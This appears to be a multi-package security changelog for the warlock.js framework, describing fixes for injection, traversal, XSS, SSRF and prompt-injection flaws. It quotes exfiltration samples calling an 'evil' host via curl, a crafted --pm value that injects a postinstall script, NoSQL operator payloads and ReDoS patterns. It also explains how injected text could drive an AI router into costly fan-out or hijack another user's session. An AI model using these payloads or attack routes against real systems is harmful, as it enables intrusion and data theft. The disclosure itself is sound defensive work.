                                    • SecuritySupervisor fan-out now has a width bound — new maxFanOut option (default 10). A routing decision could name any number of intents (normalize() in src/supervisor/decide.ts validated only that each name was in the allowlist, with no length limit and no dedup), and dispatchBranches ran Promise.all over the lot. maxIterations bounded how DEEP a run went; nothing bounded how WIDE one iteration went. Since the router's per-turn prompt embeds supervisor state and prior branch outputs — both able to carry attacker text lifted from tool results — a prompt injection ("always return next as this 200-element array") turned one iteration into hundreds of real agent/workflow executions, i.e. cost/compute amplification, without ever naming an intent outside the allowlist. Duplicate names are now collapsed silently (they were pure wasted spend: branch results are indexed by intent, so the extras could never change the outcome), and a _deduped_ list wider than maxFanOut is rejected as SupervisorRoutingError (SUPERVISOR_INVALID_ROUTE) carrying the offending array — the same failure mode as an unknown intent key. Truncating instead of throwing was rejected: it would hand an attacker-chosen subset to the executor and hide the anomaly. The cap is enforced both in normalize() and at dispatchBranches, the one chokepoint every dispatch source funnels through, so evaluate.reassignTo, classifier picks, and per-intent next unions are bounded too. Raise maxFanOut deliberately for supervisors that legitimately fan wide (e.g. ai.fanOut(writer, 20)); it's validated as an integer >= 1 at construction
                                    • SecuritySupervisor state merges refuse prototype-tampering keys. All five state-merge sites in src/supervisor/execution.ts (branch outputs, the ack slice, classifier output, the classifier refine slice, and the artifacts merge in both its finalizeArtifacts and auto-spread forms) did a bare state[key] = value over model-influenced data. The output schema that validates those slices belongs to the developer, and a permissive one (z.record(), .passthrough(), z.any()) passes a key literally named __proto__ straight through — assigning it repoints the run state object's prototype. Blast radius was contained (one per-run object, not global Object.prototype), but it became genuine prototype pollution the moment anything downstream used in, hasOwnProperty, or a deep merge on state — and finalizeArtifacts's key-removal pass already used key in merged. A shared mergeSafely / assignSafeKey / isUnsafeMergeKey guard (new src/security/safe-merge.ts, exported from the package's security barrel) now drops __proto__ / constructor / prototype at every one of those sites and logs the refusal as state.merge.unsafe-key; that key in merged check is now Object.hasOwn. Dropping rather than throwing is deliberate — those keys are never legitimate state fields, and mid-iteration is the wrong place to fail a settled run
                                    • Securityorchestrator.asTool({ sessionScope: "shared" }) no longer lets the calling model choose which session it joins. The wrapper read sessionId (and history) straight out of the _validated tool-call payload_ — i.e. out of arguments the outer agent's LLM wrote — and handed them to orchestrator.execute(), which loads that session's checkpoint, merges its persisted state, runs a turn against it and writes a fresh checkpoint back. The JSDoc actively instructed developers to thread the session id through inputSchema. A sessionId is bearer-equivalent to full read/write on the session, so any prompt injection reaching the outer agent (a summarized document, a poisoned tool result, a fetched page) could say "continue session <victim-id>" and have the nested orchestrator splice an attacker-directed turn into a stranger's live conversation and return its content — including prior state — into the outer transcript. The target session is now bound OUTSIDE the model-visible schema, via the new OrchestratorAsToolOptions.session: either a literal id fixed at asTool() construction, or a (ctx) => sessionId | { sessionId, history } resolver reading the invocation's ToolContext (the same out-of-band channel signal / artifacts already travel on, which an LLM cannot write to). sessionId / history are stripped from the payload before it is forwarded as execute(input), and a resolver that returns nothing fails the call rather than falling back to the payload. Breaking for "shared" scope only: building such a tool without session now throws at construction. The pre-4.15.0 behavior is still reachable behind unsafeAllowModelSessionId: true, documented at the API surface as bearer-token-equivalent access that obliges the developer to verify session ownership themselves. "fresh" scope (the default) is unchanged
                                    • SecurityOrchestrator/agent memory is session-scoped by default — recall can no longer surface another user's remembered turns. OrchestratorConfig.memory is resolved once per orchestrator instance and reused by every execute() / resume() regardless of sessionId, and neither MemoryItem, RecallOptions, MemoryContract nor the four tier implementations carried any session/tenant key — so recall() could not be scoped to the calling session and remember (ON by default) wrote every clean turn's input + outcome text into one shared namespace. In the framework's own documented integration pattern (one ai.memory() built at boot, passed to ai.orchestrator({ memory }), serving all end users) user A's remembered text was recallable by user B's semantically similar turn, with no attacker action required. MemoryItem.scope and RecallOptions.scope are new opaque isolation keys, enforced inside each tier as an exact-equality match before hits are scored, merged or sliced — never left to the caller — and folded into the stored key so two scopes writing identical text stay two entries (including the procedural tier's uses reinforcement counter). All four tiers enforce it: working, semantic, episodic, procedural. An unscoped recall() reads only the unscoped pool; there is no wildcard query. The orchestrator derives the scope from the execute-time sessionId ("session:<id>") — not from the payload, the context bag, or the model — via the new OrchestratorMemoryConfig.scope, which defaults to "session". Behavior change: memories seeded or written before the upgrade are unscoped and are no longer recalled by a session-scoped turn. Cross-session pooling is now an explicit opt-in — scope: "shared" restores the pre-4.15.0 single-pool behavior (and keeps reading pre-upgrade entries); scope: (sessionId) => key derives a custom boundary, e.g. per tenant. The vector tiers overscan before filtering so a noisy neighbouring scope cannot starve a scoped recall of its top-k
                                    • SecurityThe working-memory tier is size-bounded — new working: { maxItems } (default 1000). WorkingMemory backed its buffer with a plain Map that grew by one entry per unique remember() and had no cap, TTL or eviction of any kind. It is also the one tier that keeps everything it is told in _process_ memory, for the lifetime of the memory() instance — which ai.orchestrator({ memory }) resolves ONCE and reuses for every session, for as long as the process runs. Since distinct text derives a distinct id nothing dedups, so an attacker able to drive turns through a memory-backed orchestrator (with remember on by default) added a permanent entry per request until the process ran out of memory: a cheap memory-exhaustion DoS against any internet-facing deployment. The buffer now evicts on overflow. Policy is FIFO over insertion order, not LRU, and deliberately so: recall on this tier is a pure recency proxy (it reverses insertion order and slices the newest k, never reordering), so the front of the buffer is by construction the region recall reaches last — FIFO evicts exactly the entries a bounded recall would never have returned, while true LRU would need read-time reordering that would also rewrite the score every recall reports. Re-remembering an existing id still updates in place and keeps its slot. maxItems is validated as an integer >= 1 at construction and has no unbounded setting — "no cap" is the vulnerability, not a configuration choice; raise it deliberately for a long-lived single-tenant process, and put durable recall in the semantic / episodic tiers, which delegate retention to a CacheDriver. Known and documented limitation: the bound is global rather than per-scope, so a busy session can push another's older entries out — a recall-quality degradation on a volatile scratch tier, never a disclosure (the scope filter still applies), and a per-scope quota would not help against an attacker holding many sessions anyway
                                    • SecuritysemanticCache() is per-session-scoped by default — one caller's cached answer is no longer served to another. The middleware is built once at app boot and shared by every end user, its namespace was a static string, and a hit is returned as a synthetic ModelResponse with no LLM call in between — so both lookup paths (the exact prompt-hash key and the vector similar() match) could serve user A's cached response, personal context and all, to user B's merely _similar_ prompt, and let an attacker seed an entry engineered to sit near a predictable class of future queries and have it answered from the store thereafter. Entries now carry a scope derived from the run's own AgentExecuteOptions.sessionId ("session:<id>", the same derivation the memory fix uses) — read out of the execute options, never out of the prompt or the model's output — folded into the stored key (hashed, since a sessionId is caller-supplied and may contain the key delimiter) _and_ re-checked as exact equality on the stored entry, so key-level separation is never the thing authorizing a read. The vector path overscans before filtering, mirroring the memory tiers, so a noisy foreign session cannot occupy the top-k and mask a caller's own hit. New SemanticCacheOptions.scope: "session" (default), "shared" (one pool for every caller — the explicit opt-in for genuinely public Q&A, and the pre-4.15.0 behavior), or (context) => key for a custom boundary such as per-tenant. Two behavior changes to expect: entries written before the upgrade are unscoped and are only read by unscoped runs, and scoping trades cross-user hit rate for isolation — a public FAQ deployment where no response can carry a caller's private context should now set scope: "shared" on purpose. Runs made _without_ a sessionId continue to share one unscoped pool (unchanged behavior for them); thread sessionId through execute() — composites already do — to get the isolation
                                    • SecurityThe planner's plan schema rejects an over-long plan at parse time. Strict-mode JSON Schema cannot express maxItems, so maxSteps was never on the wire (plan-schema.ts discarded the parameter outright with void maxSteps) and the only enforcement was PlannerRun's tail truncation — which runs _after_ the whole steps[] array has been parsed, normalized into PlannerStep[] and stored on this.plan. A provider or proxy that ignores the prompt's step budget could therefore make the planner deserialize an arbitrarily long array before anything trimmed it. validate() now enforces a hard ceiling of maxSteps * 4 (or 100 when planSchema is built without a maxSteps), rejecting rather than truncating: a plan several times its budget is a malfunction worth surfacing as the typed PlannerPlanInvalidError, not a prefix worth silently executing. The slack factor keeps the normal case — a model overshooting "at most N steps" slightly, which the runtime still truncates to skipped — working exactly as before
                                    @warlock.js/cascadeSecurity 8
                                    • SecurityNoSQL operator injection via equality filters is now rejected. where({ field: value }), where(field, value) and the filter-accepting model statics (first, findFirst, findAll, count, paginate, deleteMany, deleteOne, …) treated the value verbatim, so a request-controlled payload such as { password: { $ne: null } } compiled into a MongoDB _operator_ query instead of an equality match — the textbook auth-bypass primitive (User.first({ email, password }) matched any user). Equality-position values (and top-level object-form keys) containing $-prefixed keys now throw UnsafeFilterError. Explicit operator APIs are unaffected: where(field, operator, value), whereIn/whereNull/whereBetween/…, and the object form of whereRaw. Dotted paths ("profile.name") and plain sub-document equality values remain valid. A sanitizeFilter / sanitizeFilterValue helper pair is exported for callers who forward request objects to other driver-level APIs
                                    • SecurityString-mode whereRaw() / orWhereRaw() no longer compiles to $where on the MongoDB driver. Any string expression was wrapped as { $where: "<js>" } — JavaScript executed _inside_ mongod for every scanned document (an injection sink whenever any part of the string was request-influenced, and an unindexed full-scan DoS even when trusted), with ?-bindings substituted by string concatenation rather than real parameterization. The MongoDB parser now throws UnsafeRawExpressionError for string expressions and directs callers to the object form (whereRaw({ $expr: … })), which keeps working. SQL drivers keep string mode with real bindings
                                    • Securitystatic hidden — fields toJSON() can never emit. With no resource/toJsonColumns configured (the quick-start model shape), toJSON() — invoked implicitly by JSON.stringify(model) / res.json(model) — returned the entire raw document, password hashes and tokens included. Models can now declare static hidden = ["password", …]; those top-level fields are ALWAYS stripped from toJSON() output — with the raw-document default, with toJsonColumns (hidden wins), and from the data handed to a resource class. Defaults to [], so nothing changes until a model declares hidden fields — but because that default still fails open, cascade now logs a one-time console.warn per model whose schema declares a credential-shaped field (password/passwordHash/secret/token/apiKey/api_key, case-insensitive) that no hidden/resource/toJsonColumns covers
                                    • SecurityAtomic/find-and-modify statics now sanitize their filter. atomic(), findAndUpdate(), findOneAndUpdate(), findAndReplace() and findOneAndDelete() forwarded their filter object straight to the driver — bypassing where() and therefore the operator-injection check above, so { role: { $ne: "admin" } } from a request body was still a live operator query on these paths. The filter argument now runs through sanitizeFilter and throws UnsafeFilterError on $-prefixed keys. Update-operator semantics ($set/$inc/$unset/…) are untouched — only the FILTER is checked. Callers who legitimately need operator conditions must express them through the query API (Model.query().where(…)) instead of the raw filter argument
                                    • SecurityResidual injection paths closed. The three-argument equality form where(field, "=", value) now sanitizes its value like the two-argument form (other operators are unaffected), and the object form of whereRaw()/orWhereRaw() rejects the server-side JavaScript operators $where, $function and $accumulator anywhere in the expression (throws UnsafeRawExpressionError); $expr and the other aggregation operators keep working
                                    • SecurityA merge()d primary key can no longer retarget a write at another document. performUpdate() built its filter from model.get(primaryKey) _after_ merge() had run, so the canonical update-my-profile shape — model.merge(req.body); await model.save() — let a body carrying { id: "<victim-id>", role: "admin" } redirect the UPDATE (and the mass-assigned fields with it) onto somebody else's row. Two independent controls now stand between a payload and the write target: (1) an instance captures its primary key at the moment it becomes persisted (isNew flipping to false — hydration, or the writer after an insert), and update/replace/destroy build their filter from that captured value, exposed as model.trustedPrimaryKey; (2) merge() on an already-persisted model drops the identity columns (id, _id, and the configured primary key) instead of applying them — which also covers save({ merge }). Identity columns are additionally excluded from the update's $set/$unset, so an explicit set("id", …) on a loaded record no longer rewrites the key of the row it is pinned to (_id was never writable in MongoDB anyway); changing a primary key is now a deliberate operation through the atomic/raw APIs. Creating a record with an explicit id is unchanged — a new model accepts identity columns — and the writer still merges driver-returned values (generated _id, RETURNING *) back onto the instance through a framework-internal path that request data never reaches
                                    • SecuritywhereLike / whereSearch string arguments are matched literally instead of compiled as regexes. whereLike, whereNotLike, whereStartsWith/whereEndsWith (and their Not variants) and the $regex form of whereSearch interpolated their argument straight into a MongoDB $regex. Wired to a search box — User.query().whereSearch("name", req.query.q), the intended use — that handed the caller the regex engine running inside mongod: metacharacters rewrote the match semantics (^.*$ matches everything, ^a/^b probes read a value back character by character), and a nested-quantifier pattern such as (a+)+$ backtracked catastrophically against every scanned document. String arguments are now escaped and treated as literals; the SQL LIKE wildcard % still expands (to .*, with runs of % collapsed) and matching stays unanchored/substring as this driver documents. An explicit RegExp argument — which cannot arrive as JSON — is still used as a pattern, so raw regex remains available to developer-authored queries; never build that RegExp from user input. escapeRegex / likePatternToRegexSource are exported for callers compiling their own patterns. The Postgres path was already parameterized (ILIKE $1) and is unchanged
                                    • Security**@mongez/* dependencies bumped to the 2026-08-17 security release**: @mongez/reinforcements ^3.3.0 → ^4.0.1, @mongez/dotenv ^1.3.1 → ^1.3.2, @mongez/events ^2.2.6 → ^2.2.7, @mongez/supportive-is ^2.1.3 → ^2.1.4. Reinforcements 4 adds a prototype-pollution guard to set/merge/pick/defaults — the utilities behind model.set() / model.merge(), i.e. exactly where request-shaped data enters a model — and a ReDoS fix in repeatsOf. Its breaking change (Random is CSPRNG-backed and no longer honors Random.seed()) does not affect cascade: the package imports no Random API and seeds nothing. Requires Node 20+, which cascade already targets
                                    @warlock.js/coreSecurity 2Dependencies 3
                                    • Securityrequest.detectIp() no longer trusts X-Real-IP / X-Forwarded-For unless http.trustProxy is set. Both headers are client-settable, and detectIp() honoured them unconditionally — bypassing the trustProxy opt-in the Fastify server itself is configured with. Any client could therefore spoof its IP to everything keyed on detectIp(): ipFilter allowlists/denylists, the default rate-limit bucket key, and anonymous idempotency scoping. Without the opt-in, detectIp() (and its realIp alias) now returns baseRequest.ip — the socket peer address, which cannot be forged
                                    • Securityhttp.trustProxy now accepts a hop count or a trusted-proxy list, and detectIp() honours them. true is the wrong shape for the common topology: an edge that _appends_ to X-Forwarded-For leaves whatever the client prepended as the leftmost entry, so "trust the leftmost hop" hands the client its own IP back. The config value is passed to Fastify untouched, and detectIp() now reads the resolved client off request.ip instead of re-parsing the header — so both agree, and every Fastify shape works:
                                    • DependenciesBumped @mongez/* deps to their 2026-08-17 security release specs: concat-route ^1.2.0, config ^1.2.1, dotenv ^1.3.2, events ^2.2.7, http ^3.5.0, localization ^3.4.7, reinforcements ^4.0.1, supportive-is ^2.1.4
                                    • Dependencies⚠ @mongez/reinforcements 4.0.1 is a major bump: Random is now CSPRNG-backed (WebCrypto) and Random.seed() was removed — seeded/reproducible Random.string/nanoid/id/token/uuid calls now throw. Audited core's Random.string(...) call sites (use-case.ts, http/request.ts, dev-server/files-watcher.ts, http/uploaded-file.ts) and its test suite: none rely on seeding or reproducible output, so no code changes were required
                                    • Dependencies@mongez/encryption 2.0.1 (async encrypt/decrypt, throws on failure) does not apply to this package — core is not a consumer; src/encryption/encrypt.ts uses Node's built-in crypto module directly and is unaffected
                                    @warlock.js/webAdded 7Fixed 3
                                    • AddedSSR React pages served by the Warlock HTTP server. A page route is an ordinary Warlock route whose handler renders React instead of returning JSON.
                                    • AddedHydration, and client-side navigation via <Link> — no document reload, Back and Forward included.
                                    • AddedReact Fast Refresh in warlock dev, including a server render that reflects the edit rather than the pre-edit module.
                                    • AddedNamed links: href(name, params, query) validates the published route table at runtime; an unknown route name throws.
                                    • Addedrevalidate() — re-run the current route's loaders after a mutation.
                                    • AddedMRR's navigation API mirrored by name (navigateTo, navigateBack, currentRoute, queryString, …) without depending on that package.
                                    • Addedwarlock add web scaffolds src/web/ and registers the connector.
                                    • Fixedmetadata() no longer runs when a loader rejected. It used to be called with data: undefined while the type promised otherwise, so a metadata function reading its data threw a TypeError that replaced the loader's real error and pointed at the wrong file.
                                    • FixedValidation reads the same query the loader reads. Stage 4 took query and params from a hand-parsed URL while body and headers came from the request — so ?tags=a&tags=b reached validation as "b", and a rule on filter.status never fired because validation saw a key literally named filter[status].
                                    • Fixedhref() emits the query grammar core actually parses; nested objects and arrays are no longer destroyed by String(value).
                                    @warlock.js/cacheSecurity 6Dependencies 1
                                    • SecurityFile driver path traversal (Critical): cache keys were mapped to on-disk paths with path.resolve(directory, key) and no sanitization, so a key containing ../ (reachable through set/get/remove/removeNamespace, including keys derived from user input via cached() auto-keys) escaped the cache directory and allowed arbitrary file read, write, and recursive delete. The file driver now percent-encodes %, /, and \ when mapping a key to its directory (each key becomes exactly one contained directory component; the logical .-delimited namespace scheme is unchanged) and additionally asserts the resolved path stays inside the cache root, throwing CacheError otherwise. Memory/redis/pg key semantics are unaffected.
                                    • SecurityRedis removeNamespace now escapes glob metacharacters (*, ?, [, \) before building its KEYS pattern, so a namespace carrying untrusted input can no longer widen the match and delete keys outside its own prefix.
                                    • SecurityRemoved the raw console.log(value) dump of the full cached payload when structuredClone fails in parseCachedData — cached values (potentially PII/tokens) no longer leak to stdout; the structured error log with the value's type is kept.
                                    • SecurityCredential leak via error logging (Medium): logError() and the Redis driver's connect() failure path printed the raw Error object straight to stdout (console.log) or to log.fatal, which could include the connection URL — and password — that some Redis/Node client errors echo back in error.message/cause on connection failure. Both call sites now go through a new safeErrorInfo() helper that logs only a redacted { message, code } shape (never the raw error object), with any scheme://user:pass@ credentials in the message masked to scheme://[REDACTED]@. The bare console.log(error)/console.log("Err", error) calls are gone entirely.
                                    • SecurityRedis removeNamespace blocking KEYS scan (Medium): replaced the blocking KEYS command with a non-blocking SCAN cursor loop (client.scanIterator), so clearing a namespace on a large keyspace no longer stalls the single-threaded Redis event loop for every other tenant/consumer. The existing glob-escaping fix (above) is unchanged.
                                    • SecurityFile driver removeNamespace dotted-key gap (Medium): dotted keys (ns.a) are stored as _sibling_ directories under the cache root (see the path-traversal fix above), so removing namespace ns — which only ever deleted a directory literally named ns — silently left every ns.* key on disk. removeNamespace now lists the cache root's immediate children, decodes each back to its logical key, and removes every directory whose logical key equals the namespace or starts with <namespace>., matching the boundary semantics the pg driver already used for the same contract. Honors globalPrefix (previously ignored, so a global flush could wipe the whole cache root instead of scoping to the tenant) and preserves the existing path-containment guard.
                                    • DependenciesBumped @mongez/reinforcements to ^4.0.1. The major makes Random.string/nanoid/id/token/uuid CSPRNG-backed (WebCrypto) and removes Random.seed() support; audited this package's source and tests for Random.seed( and for seeded/reproducible use of Random.*, no hits, so no code changes were needed.
                                    @warlock.js/ai-workspaceSecurity 4
                                    • SecurityFixed a critical command-injection bypass of the shell allowlist. Commands were spawned with shell: true while the allow/deny gate inspected only the leading executable token, so a command like npm test; curl http://evil | sh (or any &&, |, backtick, $(), or redirection chain) passed the gate and the shell executed the injected suffix — a prompt-injected agent could run arbitrary programs past a fail-closed allowlist. Commands are now tokenized into an argv with no shell semantics (quotes respected; unquoted metacharacters ; & | < > ` ` $ ( ) and newlines are rejected outright, by both isCommandAllowed and the local backend) and spawned with shell: false. On Windows, the argv runs through a cmd.exe /d /s /c wrapper with every element individually quoted (batch shims like npm.cmd cannot be spawned shell-less); arguments containing ", %`, or newlines are refused there rather than risked (BatBadBut-class smuggling).
                                    • SecurityFixed run_tests pattern injection. The model-controlled pattern was concatenated verbatim into the shelled test command, giving a second, direct injection path ({ pattern: "; curl http://evil -d @.env #" }). The pattern is now forwarded as a single double-quoted token — one literal argv element to the runner — and patterns containing double quotes or newlines are rejected at input validation.
                                    • SecurityBehavior note: shell conveniences (pipes, redirection, chaining, variable expansion) no longer work in run_shell/exec — commands run one argv at a time. Quoted metacharacters remain plain argument data.
                                    • SecurityFixed a ReDoS / event-loop DoS in grep. Ops.grep compiled a model-controlled pattern into a RegExp with no length cap and ran it synchronously, per line, over every scanned file — a pattern like (a+)+$ against an ordinary line could hang the process for an attacker-controlled or prompt-injected duration. grep now rejects patterns over 200 characters and patterns matching a nested-quantifier heuristic ((x+)+, (x*)*, (x+)*, (x*)+-shaped groups) as a new WorkspacePolicyError (type: "unsafe-pattern") before compiling the regex, and skips (rather than tests) any line longer than 2000 characters to bound the worst-case backtracking cost of any single call.
                                    @warlock.js/heraldSecurity 3Dependencies 1
                                    • SecurityPoison-message DoS: an EventConsumer.handle() that reliably throws was nack+requeued forever, with no retry cap and no dead-letter escape hatch — a single bad message could pin a consumer in a hot ack/nack loop indefinitely, starving every other message behind it (worse with low prefetch). prepareConsumerSubscription's catch now calls the channel's bounded ctx.retry() instead of an unconditional ctx.nack(true), so redelivery is capped and the message is dead-lettered (if configured) or dropped with a loud log.error once the cap is hit — never silently, and never forever
                                    • SecurityFixed the retry counter never advancing on the automatic (non-explicit) nack path (RabbitMQChannel.subscribe's catch, used by any direct channel.subscribe(handler, { retry, deadLetter }) caller whose handler throws instead of calling ctx.retry() itself). It read x-retry-count from the _original_ message's headers and then plain-nack(msg, false, true)'d — which redelivers that same original message, so the header a developer's retry.maxRetries/deadLetter depended on never changed and the configured cap was silently never reached. Both the automatic path and the explicit ctx.retry() path now share one bounded-retry routine that republishes with an incremented header, so maxRetries/deadLetter are honored regardless of which path a handler takes
                                    • SecurityBroker credentials no longer leak into thrown/logged connection errors. username/password are now URI-encoded when building the amqp:// URL (a reserved character like @/:// in a generated secret previously produced a malformed URL whose parser error echoed the raw credential back), and any error surfaced from connect() — including one that embeds a caller-supplied uri with credentials — has user:pass@ redacted before it's re-thrown, so a connection failure can no longer put a plaintext broker password in front of console.error/structured logging/an error tracker
                                    • DependenciesBumped @mongez/events to ^2.2.7 (no breaking changes) and @mongez/reinforcements to ^4.0.1. The reinforcements major makes Random.string/nanoid/id/token/uuid CSPRNG-backed (WebCrypto) and removes Random.seed() support — audited this package's source and tests for Random.seed( and for seeded/reproducible use of Random.*; none found, so no code changes were needed.
                                    @warlock.js/loggerFixed 2Security 1Dependencies 1
                                    • FixedCloning a log entry for redaction no longer discards an Error's own enumerable properties. Previously, configuring redact at all silently reduced every logged Error to message / stack / name — dropping .code and friends as an unadvertised side effect, and putting .config.headers.authorization permanently out of reach of any path pattern. Those properties are now carried through the clone (and censored by the key denylist above). An Error subclass whose constructor takes a non-string argument also keeps its message instead of being rebuilt as an empty one.
                                    • FixedThe redaction clone no longer expands buffers, typed arrays, Map, Set, Promise, or RegExp into plain objects — matching what the code already documented. A Buffer in context had been rebuilt as a multi-thousand-key index map.
                                    • SecuritySecrets are now redacted by default. This is a behavior change — logs that previously showed these values in cleartext will now show [REDACTED]. Redaction used to be a _tool_ (redact.paths, entirely opt-in): unless an application configured it, a password in context, an authorization header, or an apiKey on a logged Error reached every sink — console, log file, JSON log file, Sentry — verbatim. Protection existed only where every call site had been configured correctly, with no signal when one hadn't. It is now a _default_.
                                    • DependenciesBumped @mongez/reinforcements to ^4.0.1. The major makes Random.string/nanoid/id/token/uuid CSPRNG-backed (WebCrypto) and removes Random.seed() support. This package uses Random.string(32) only for the non-security logger-<id> instance identifier; audited for Random.seed( with no hits, so no code changes were needed.
                                    create-warlockSecurity 1Dependencies 3
                                    • Security--pm is now validated against an allow-list (npm/yarn/pnpm/bun) before it reaches anything. Previously an arbitrary --pm string flowed straight into spawn() as the executable to run _and_ was spliced verbatim into the generated package.json's script text before that text is parsed as JSON — a crafted value (e.g. --pm='pnpm","postinstall":"curl${IFS}evil.sh|sh#') could inject a postinstall script that the scaffolder's own automatic install() step would then execute, or invoke an arbitrary binary on PATH outright. --yes/non-interactive scaffolds now reject any --pm outside the allow-list and exit before the package manager is set, closing both sinks at the source; the interactive prompt was already safe (its options are drawn from the allow-list, never free text).
                                    • DependenciesBumped @mongez/reinforcements to ^4.0.1 (package dependency + project template). This is a major bump: Random.string/nanoid/id/token/uuid are now CSPRNG-backed (WebCrypto) and no longer honor Random.seed(), and throw without WebCrypto available. Audited create-warlock's own source and the templates/warlock scaffold for Random.seed/Random.* usage — none found, no code changes required.
                                    • DependenciesProject template (templates/warlock/package.json) @mongez/* deps bumped: @mongez/localization to ^3.4.7, @mongez/supportive-is to ^2.1.4, @mongez/agent-kit to ^1.2.1.
                                    • DependenciesProject template @warlock.js/* deps were pinned at the stale 4.0.119 — rewritten to the current lockstep version 4.15.0 to match the published @warlock.js/* packages.
                                    @warlock.js/ai-panopticSecurity 2
                                    • SecurityDashboard stored XSS via javascript: markdown links — fixed. The dashboard's markdown link renderer (mdInline in ui.html.ts) rewrote text into a live <a href> without validating the URL scheme, so a javascript: URL embedded in captured trace content (span.input / span.output under captureContent — i.e. prompt-injected model output or attacker-controlled tool results) became a stored XSS that fired when an operator clicked the link; the page's CSP (script-src 'unsafe-inline') permits javascript: URI execution and does not restrict top-level navigation, putting the in-page bearer token in reach. Link URLs are now checked against a scheme allowlist (http:, https:, mailto:, plus relative/anchor URLs) after normalizing the URL the way a browser will — attribute-entity decode, strip of ignored control chars/whitespace (java\tscript:), lowercase — and scheme-relative //host links are rejected too; a rejected URL renders its label as plain text with no href at all. Regression-tested by executing the actual inlined client renderer against javascript:/data:/vbscript: payloads and their case/whitespace/entity obfuscations (ui.html.md-links.spec.ts)
                                    • SecurityDashboard token-handling hardening (3 residual findings from the same audit as the XSS above). None of these are exploitable on their own today, but each widened the blast radius of a future bug: - _Bearer token no longer a page-global._ ui.html.ts's client script kept TOKEN as a var shared across its whole ~1000-line closure. It's now sealed inside its own inner IIFE that exposes only the fetchAuthed helper — code elsewhere in that closure (present or future) can no longer read the raw token by name. - _Constant-time token comparison._ serve.ts's isAuthorized compared the header/query token with plain ===, which short-circuits on the first differing byte and is a textbook timing side-channel — the one scenario the package's own docs call out as realistic (authToken is required specifically when bound off-loopback, i.e. reachable over a network). Both the header and query-string checks now go through crypto.timingSafeEqual on length-checked, equal-length buffers. - _Token-in-URL narrowed to the one route that needs it._ ?token= is no longer accepted on the JSON API routes, only on the HTML page route. The page's own polling already re-sends the token as an Authorization header (fixed in 4.8.2), so the only request that structurally _can't_ carry a header is the initial browser navigation that loads the HTML shell — that's the sole remaining query-string exposure, narrowing the token's footprint in access/proxy logs and browser history from every poll to one request.
                                    @warlock.js/ai-toolsSecurity 2
                                    • Securityfetch_url and http_request now deny private-network targets by default and route through @warlock.js/ai's hardened guardedFetch instead of a local host check. Previously allowHosts was the _only_ SSRF guardrail and it was opt-in — a bare ai.tools.fetchUrl() / ai.tools.http() would fetch any http(s) URL the model supplied, including http://169.254.169.254/latest/meta-data/..., localhost, and RFC1918 addresses, and neither tool re-validated redirect targets, so even a configured allowlist could be 302'd into an internal endpoint. Both tools now issue every request through the core outbound policy, which by default refuses private / loopback / link-local / CGNAT / cloud-metadata addresses — resolving hostnames through DNS and checking every returned address, failing closed on resolution failure — and re-validates every redirect Location (scheme, allowlist, private-IP deny) before following it, with a hop cap and cross-origin credential-header stripping. Blocks surface as the existing typed errors (WebToolError type: "denied-host", HttpPolicyError type: "host-not-allowed"), so agents still read them as { error } data
                                    • SecurityNew allowPrivateNetwork option (default false) on both tools for the deliberate case of a tool that must call an internal service (e.g. a local dev server); allowHosts still works and now also constrains redirect targets
                                    @warlock.js/authSecurity 1Dependencies 1
                                    • SecurityLogin credential lookups are no longer vulnerable to NoSQL operator injection. authService.attemptLogin forwards the request's credential fields (e.g. email, phoneNumber) into Model.first(...) to find the user, so a caller that passed request JSON straight through could smuggle a MongoDB operator object — { email: { $ne: null } }, { email: { $regex: "^a" } } — into the user-lookup filter, breaking its intended equality semantics and enabling account enumeration / targeted-lookup attacks (the password is still verified separately with bcrypt, so this was never a full bypass on its own). The fix lands in @warlock.js/cascade 4.16.0, whose query builder now rejects $-prefixed keys in equality position (UnsafeFilterError); because attemptLogin's lookup routes through cascade, upgrading the family to 4.16.0 closes this with no change to your auth code. If you build user lookups by hand, keep passing scalars — or use the explicit operator API — rather than forwarding raw request objects.
                                    • DependenciesBumped @mongez/events to ^2.2.7 (no breaking changes) and @mongez/reinforcements to ^4.0.1. The reinforcements major makes Random.string/nanoid/id/token/uuid CSPRNG-backed (WebCrypto) and removes Random.seed() support. This package calls Random.string(32) (device familyId fallback) and Random.token(32) (JWT secret generation) — both are exactly the security-sensitive uses the CSPRNG backing is meant to strengthen, and neither relied on seeding; audited for Random.seed( with no hits, so no code changes were needed.
                                    @warlock.js/sealSecurity 1Dependencies 1
                                    • SecurityRenamed safeHtmlMutator/.safeHtml() to stripTagsMutator/.stripTags(). The old name implied XSS safety it never provided — the implementation is a naive <[^>]*> regex, not an HTML parser, and can be defeated by malformed/nested markup or content re-introduced later in a pipeline. A developer building v.string().safeHtml() for user-supplied rich text was liable to treat the output as pre-sanitized and skip further output encoding, opening a stored/reflected XSS path. The new names and doc comments make clear this is tag-stripping only; use a real parser-based sanitizer (DOMPurify / sanitize-html) for untrusted rich text. safeHtmlMutator and .safeHtml() remain as deprecated aliases (same behavior, @deprecated JSDoc pointing at the new names) so existing callers do not break.
                                    • DependenciesBumped @mongez/supportive-is to ^2.1.4 (no breaking changes) and @mongez/reinforcements to ^4.0.1. The reinforcements major makes Random.string/nanoid/id/token/uuid CSPRNG-backed (WebCrypto) and removes Random.seed() support — audited this package's source and tests for Random.seed( and for seeded/reproducible use of Random.*; none found, so no code changes were needed.
                                    @warlock.js/accessSecurity 1
                                    • SecurityInstance-level checks (a resource supplied to check/authorize) that match an RBAC grant but have no registered ABAC policy now emit a one-time log.warn naming the permission, instead of silently falling back to the RBAC grant alone — a typo'd permission name or a forgotten import "./policies" side-effect previously degraded a resource-scoped check to a class-level one with no runtime signal, a silent IDOR footgun. Fail-closed/fail-open semantics are unchanged everywhere else; this is visibility only. Added an opt-in strictPolicies: true access config flag that throws AccessConfigError instead of warning, for apps that want the gap to fail the request/boot rather than just log.
                                    @warlock.js/contextSecurity 1
                                    • Securityupdate() and set() now drop __proto__ / constructor / prototype keys instead of merging them. update() merged with Object.assign(store, updates), which does not create a __proto__ property — it invokes the inherited setter and reparents the store. An app that forwards request-shaped data into a context (tenantContext.update(req.body), or set(key, value) with a caller-supplied key — both close to patterns the README shows) therefore handed a body of {"__proto__":{"isAdmin":true}} a way to pollute Object.prototype for the whole process. Because the polluted object is a _shared_ context store, that turns an app-level slip into a cross-request, cross-tenant authorization problem: every later lookup of a missing property anywhere in the process resolves through the attacker's object
                                    @warlock.js/fsSecurity 1
